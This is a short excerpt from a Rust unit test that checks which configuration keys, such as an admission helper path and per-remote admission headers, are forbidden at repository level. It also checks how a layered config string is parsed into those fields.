2455        assert!(is_repo_forbidden_key("admission_helper"));
2456        assert!(is_repo_forbidden_key("remote.origin.admission_headers"));
2457        assert!(is_repo_forbidden_key("remote.a.b.admission_headers"));
2458        let cfg = layer(
2459            None,
2460            Some(
2461                "admission_helper = /usr/bin/helper\nremote.origin.admission_headers = X-Payment\n",
2462            ),
2463        );
2464        assert_eq!(cfg.admission_helper, "/usr/bin/helper");
2465        assert_eq!(cfg.remote_admission_headers["origin"], "X-Payment");
2466        assert!(cfg.remotes.is_empty());
2467    }
2468}